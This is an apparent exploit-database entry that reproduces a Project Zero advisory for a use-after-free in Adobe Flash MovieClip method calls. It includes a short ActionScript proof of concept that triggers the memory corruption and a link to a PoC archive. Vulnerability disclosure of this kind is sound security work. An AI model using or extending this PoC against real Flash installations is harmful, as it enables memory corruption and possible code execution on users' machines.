Adobe Flash - Method Calls Use-After-Free

2016-09-08 20:05:25

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=846

If a method is called on a MovieClip, and a getter is set with the name of the method, the getter will get executed during the call, and can free the MovieClip, leading to a user-after-free. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip( "mc", 1);
mc.addProperty( "f", func, func );
mc.f("hello");

function func(){

mc.removeMovieClip();
// Fix heap
var d:Date = new Date();
return d.getDate;

}


Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40356.zip

Fixes

No fixes

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